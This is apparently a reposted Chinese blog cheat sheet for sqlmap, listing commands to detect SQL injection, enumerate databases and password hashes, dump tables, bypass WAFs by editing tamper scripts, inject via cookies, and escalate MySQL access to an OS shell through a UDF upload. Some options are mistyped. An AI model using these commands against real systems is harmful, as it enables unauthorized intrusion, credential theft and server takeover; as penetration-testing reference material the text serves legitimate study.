sqlmap實戰-1
檢測和利用sql注入
python2 sqlmap.py -u "[URL_SQL注入點]" [--batch]
--batch:自動選擇sqlmap默認的選擇
尋找目標


直接連接資料庫
python2 sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --banner --dbs --users

資料庫操作引數:
--dbs:列舉資料庫資訊
--current-db:當前資料庫名
--current-user:當前資料庫用戶
--users:列舉DBMS中所有用戶
--passwords:列舉DBMA中所有賬戶和密碼

-D [databases] …:指定資料庫名,對庫進行操作
-T [tables]:指定資料表,對表進行操作
-C [columns]:指定列名,對列進行操作
--tables:列舉資料庫表的資訊
--columns:列舉資料表的列名資訊
--schema:列舉資料庫結構
--count:列舉資料包的專案數
-D/-T/-C/--dbs/--tables/--columns/--schema/--count
聯合操作就可以實作對資料庫的具體操作
#列舉庫中的所有表:
-D [庫名] --tables
#列舉表中的欄位名:
-D [庫名] -T [表名] --columns
--dump:匯出資料
--start:指定開始的行
--stop:指定結束的行
# 匯出當前全部的資料表資料
-D [庫名] -T [表名] -C [欄位名] --count --dump
# 匯出部分(范圍)資料表資料
-D [庫名] -T [表名] -C [欄位名] --start {*} --stop {*} --dump

sqlmap技巧
利用注釋的方法繞過waf注入
/tamper/halfversionecdmoreckeywords.py:
return match.group().replace(word, "/*!0%s" % word)
# 修改
return match.group().replace(word,"/*!50000%s*/" % word)
/xml/queries.xml:
<cast query="CAST(%s AS CHAR)"/>
<!--修改-->
<cast query="CAST(%s, CHAR)"/>
sqlmap實施注入:
sqlmap.py -u [url] --tamper ./tamper/halfversionecdmoreckeywords.py
sqlmap.py -u [url] --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py
URL重寫SQL注入測驗
value1為測驗引數,加*符號即可,sqlmap將會測驗value1位置是否可以注入
列舉并破解密碼hash
當用戶可以有權限查看用戶密碼的時候,--password會自動連接并破解hash回傳結果
對目標進行爬取
--batch --crawl=3 從目標URL爬取網站
使用hex規避編碼導致丟失
sqlmap.py -u [url] --banner --hex -v 3 --parse-errors
--parse-errors:決議和顯示回應資料庫錯誤資訊
模仿移動端訪問目標
sqlmap.py -u [url] --banner --mobile
--mobile:設定一個移動端的“User-Agent”模仿手機訪問URL
智能判斷測驗
sqlmap.py -u [url] --bath --smart
--smart:快速判斷 為報錯注入點進行注入
結合Burp進行注入測驗
在Burp——Options——"proxy.Requests"中保存Burp的抓包記錄
sqlmap.py -r burp***.txt
從抓包記錄中加載HTTP請求
sqlmap.py -u [url] --data "[*……*]"
自動填寫表單
sqlmap.py -u [url] --forms [……]
--forms:決議和測驗目標URL表單
讀取Linux的檔案
sqlmap.py -u [url] --file [url]
延時注入
sqlmap.py -u [url] --technique -T --current-user
sqlmap.py -u [url] --delay 0.5
sqlmap.py -u [url] --safe-freq # 請求兩次
Burp抓包利用sqlmap注入
sqlmap.py -r ***.txt -p [需要注入的引數]
-p:指定注入引數
sqlmap Cookies注入
默認情況下,sqlmap只支持get/post引數的注入,使用-level引數且數值大于等于2就會檢測cookie引數,大概大于3時檢查User-Agent和Referer
sqlmap.py -u [url] --cookie [value] --level 3
sqlmap.py -u [url] --cookie [value] --level 3 --tables
sqlmap.py -u [url] --cookie [value] --level 3 -T [表名] --coiumns
……
MySQL提權
連接并打開一個互動shell
sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --sql-shell
上傳lib_mysqludf_sys到plugin目錄
sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]"
--file-write=
執行shell命令
sqlmap.py -u [url] --os-cmd=[^] #執行cmd命令(Win環境)
sqlmap.py -u [url] --os-shell=[^] #建立互動式的shell
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/6894.html
標籤:訊息安全
上一篇:SSL證書自簽名使用及監控
